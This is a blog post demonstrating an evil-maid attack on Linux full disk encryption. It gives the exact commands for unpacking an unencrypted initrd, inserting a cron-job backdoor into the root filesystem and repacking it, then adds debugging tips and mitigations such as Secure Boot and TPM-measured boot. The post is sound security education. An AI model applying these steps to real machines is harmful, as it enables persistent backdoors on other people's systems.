Your Linux full disk encryption is useless

Featured image

Update 2025-04: Fix typos and some smaller clarifications

So, you’re running Linux with full disk encryption (luks). You feel safe because nobody can access your data. The thing is, if I can modify your boot partition, you’re screwed. Not only can I log your password, but I can also simply deploy a backoor. To show you how easy it is, I will show you my “exploit”:

cp /boot/initrd.img-5.15.0-86-generic .
unmkinitramfs -v initrd.img-5.15.0-86-generic extracted/
cd extracted/main
sed -i 's/readonly=y/readonly=n/' init
sed -i '364 i echo '\''* * * * * root echo $(date) >> /tmp/hackhack'\'' > "${rootmnt}/etc/cron.d/hackhack"' init
find . | cpio -o -H newc > /boot/initrd.img-5.15.0-86-generic

How the “exploit” works

  1. I take your laptop and boot into my live system
  2. I mount the boot partition and extract the initrd (unmkinitramfs initrd.img-5.15.0-86-generic extracted/)
  3. I add a backdoor and modify the init script (sed adds a line (a cronjob) at line 364)
  4. I rebuild the initrd and overwrite the original one in /boot

Some background information

When you boot the system, the boot loader loads and extracts the kernel and initrd into memory. The initrd is just a small filesystem with /etc, /usr/bin, … At this point during boot, the initrd has two tasks:

  1. mount the disk where root filesystem is located (also: decrypt the disk)
  2. run the init system (like systemd)

The /init script is run automatically. If we look at the end of the file, we can see that it’s executing the init system:

root@lm21vgtvb:~/hackhack/extracted/main# tail init
...

exec run-init ${drop_caps} "${rootmnt}" "${init}" "$@" <"${rootmnt}/dev/console" >"${rootmnt}/dev/console" 2>&1
echo "Something went badly wrong in the initramfs."
panic "Please file a bug on initramfs-tools."

At this point ${rootmnt} holds the directory of the already mounted root filesystem. Our “sed-insert” adds a line just before the init system is executed (look at the blog post image at the top of the post). To modify the root filesystem, we need to add the rw kernel parameter or overwrite the init script as we do (sed -i 's/readonly=y/readonly=n/' init). After backdooring the root filesystem (${rootmnt}/etc/cron.d/hackhack) we rebuild and overwrite the original initrd. After the next reboot, our backdoor will be placed in /etc/cron.d/hackhack. If the user updates the system our backdoored initrd will be overwritten. But our malicious cronjob persists.

But my boot partition is encrypted

This makes the whole thing more difficult to implement, but the problem remains: The code that asks you for the password needs to be authenticated (or encrypted). Depending on your system, you’ll need to patch an earlier stage of grub: core.img (check out my PoC) if you’re booting in BIOS mode or grubx64.efi if you are using UFEI boot.

How to be safe(r)

  • Use Secure Boot to authenticate your code
  • Use Measured Boot with a TPM
  • Add a firmware password to prevent strangers from booting from USB or changing firmware settings

Some debugging tips

  • there is lsinitramfs, unmkinitramfs and mkinitramfs in initramfs-tools-core

  • to get debug output during boot remove quiet boot parameter

    • in /etc/default/grub (GRUB_CMDLINE_LINUX_DEFAULT) and run update-grub
    • you can also press e during boot and edit the kernel parameters (GRUB_TIMEOUT=5 and comment GRUB_TIMEOUT_STYLE=hidden)
  • add debug kernel parameter to get persistent log output from initrd (written to /run/initramfs/initramfs.debug, you will find your echos there)

  • I’m using Linux Mint and in this case my initrd consists of three concatenated cpio archives (with microkernel update). That’s why I switch to extracted/main instead of extracted.

  • Write your backdoored initrd to /boot/hacked.initrd. During boot, ajdust the the initrd parameter.

  • Debian based Linux distros use a busybox based initrd. Redhat based distros like Fedora and CentOS use systemd, so there is no /init we can patch there. But you can find a Poc in this repo.

Authenticated Boot and Disk Encryption on Linux

TL;DR: Linux has been supporting Full Disk Encryption (FDE) and technologies such as UEFI SecureBoot and TPMs for a long time. However, the way they are set up by most distributions is not as secure as they should be, and in some ways quite frankly weird. In fact, right now, your data is probably more secure if stored on current ChromeOS, Android, Windows or MacOS devices, than it is on typical Linux distributions.